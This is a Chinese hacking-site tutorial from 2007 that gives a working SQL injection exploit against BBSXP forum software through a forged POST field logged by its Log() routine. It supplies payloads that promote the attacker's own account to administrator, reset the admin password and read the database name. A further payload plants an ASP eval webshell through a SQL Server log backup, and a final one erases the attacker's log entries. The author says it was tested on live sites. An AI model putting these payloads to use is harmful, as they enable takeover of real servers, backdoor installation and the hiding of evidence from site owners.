黑客风云——风云网络
设为首页 加入收藏 我要投稿 网站地图

您现在的位置: 黑客风云 >> 黑客文章 >> 黑客进阶 >> 脚本入侵 >> 正文
·没有路由密码权限时的鸽08-23·上网安全 Vista自我防范10-11
·让濒临崩溃的Windows XP10-11·有备无患,快速自制救急10-11
·要你好看!Windows看图工10-11·空间赞助网提供不同类型10-11
·讨论net.exe和net1.exe的10-10·让3389远程桌面传输更通10-10
·巧妙入侵渗透赌博站10-10·Aspx空间扫权限工具10-10
·Windows2003最新提权工具10-10·易淘乐提供100M免费全能10-10
·系统开机密码忘了不着急10-09·中意网络提供免费100M免10-09
·与众不同 Windows XP开始10-08·让桌面图标翻跟斗 在XP上10-08
·上海宽元站长资助计划-提10-08·个性化Windows XP的任务10-07
·趣盘提供3G免费网络硬盘10-07·秀山热线提供200MB免费全10-07
·一次艰辛的提权过程10-06·成功入侵IT大卖场的渗透10-06
·mysqlhack- MYSQL利用工10-06·lanker一句话PHP后门客户10-06
·WIXI提供3G免费多媒体网10-06·新人网络提供100M/ftp免10-06
·如何利用QQ带来高流量10-05·UuShare提供免费网络文件10-05
[推荐]bbsxp sql最新版再爆0day?
      ★★★★★

bbsxp sql最新版再爆0day?

文章整理发布:黑客风云 文章来源:www.05112.com 更新时间:2007-4-2 8:28:10
bbsxp前段时间出了个log的注入漏洞,这次的漏洞还是出现在这个地方。
sub Log(Message)
if Request.ServerVariables("Query_String")<>"" then Query_String="?"&Request.ServerVariables("Query_String")&""
Conn.Execute("insert into [BBSXP_Log] (UserName,IPAddress,UserAgent,HttpVerb,PathAndQuery,Referrer,ErrDescription,POSTData,Notes) values ('"&CookieUserName&"','"&Request.ServerVariables("REMOTE_ADDR")&"','"&HTMLEncode(Request.Servervariables("HTTP_User_AGENT"))&"','"&Request.ServerVariables("request_method")&"','http://"&Request.ServerVariables("server_name")&""&Request.ServerVariables("script_name")&""&Query_String&"','"&HTMLEncode(Request.ServerVariables("HTTP_REFERER"))&"','"&Err.Description&"','"&Request.Form&"','"&Message&"')")
end sub
上次漏洞就是出现在HTTP_REFERER上,最新版本的已经用HTMLEncode处理过了。其实在在这个log()里面还是有我们可以控制的变量,就是Request.Form
注册个用户xason,发个贴再编辑。抓包如下:
POST sxp/editpost.asp?threadid=1&postid=1 HTTP/1.1
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, */*
Referer: http://localhost/bbsxp/editpost.asp?threadid=1&postid=1
Accept-Language: zh-cn
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR 1.1.4322)
Host: localhost
Content-Length: 53
Connection: Keep-Alive
Cache-Control: no-cache
Cookie: skins=1; Eremite=0; UserID=2; Userpass=1679707407E0FEDAA79EA80AB389A964; Onlinetime=2007%2D3%2D10+21%3A30%3A37; ForumNameList=%3Coption%20value%3D%27ShowForum.asp%3FForumID%3D1%27%3E%u7F51%u7EDC%3C/option%3E; ASPSESSIONIDSQCDCSQA=NBOPHAJCAIEFFCMHGDFJNKBH; ASPSESSIONIDSCTRRACA=OCIBAKBAFDDDJAADKKJBPBNI

content=test+log&UpFileID=&Category=&Subject=test+log

变量Request.Form就是content=test+log&UpFileID=&Category=&Subject=test+log
上面的变量都是经过HTMLEncode处理的,但是我们还是可以想办法饶过去。
我们可以伪造变量,比如我们把content=test+log&UpFileID=&Category=&Subject=test+log改为
content=test+log&UpFileID=&Category=&Subject=test+log&xason=love
记得修改Content-Length,打开bbsxp_log表看见POSTData为:
content=test+log&UpFileID=&Category=&Subject=test+log&xason=love
看出点什么来了吗嘿嘿,我们伪造的变量xason就这样进数据库了。因为是伪造的变量所以自然是没有经过任何的过滤。下面思路就清晰了,提升权限为管理员然后进后台查看网站的路境,再利用log备份拿webshell
提升权限:
content=test+log&UpFileID=&Category=&Subject=test+log
改为:
content=test+log&UpFileID=&Category=&Subject=test+log&xason=love','');update bbsxp_users set userroleid=1 where username='xason'--
这样就变为前台的管理员。

修改后台的密码:
update bbsxp_sitesettings set adminpassword='md5密码'--
bbsxp经过md5加密的密码字母都是大写的

获得数据库的名:
update bbsxp_users set usermail=db_name() where username='xason'--

log备份拿webshell:
alter database bbsxp set recovery full;drop table cmd;create table cmd (a image);backup log bbsxp to disk = 'c:\cmd' with init;insert into cmd(a) values ('<%eval request(chr(35)):response.end%>');backup log bbsxp to disk = 'C:\web\bbsxp\cmd.asp';--

修改后台密码要记得改回来哦,不然管理员就进不了后台了,所以最好弄得到管理员密码。
最后要记得擦PP,delete * from bbsxp_log where username='xason'--

ps:官方论坛我测试过没有成功,不知道什么原因。不过在本地和网上测试成功!
文章录入:cainiaowang    责任编辑:cainiaowang 
【字体:
Copyright @2006 黑客风云 ●业务联系:QQ 联系怪人 联系奇人 Email:给怪人发邮件 给奇人发邮件
ICP备案:冀06009886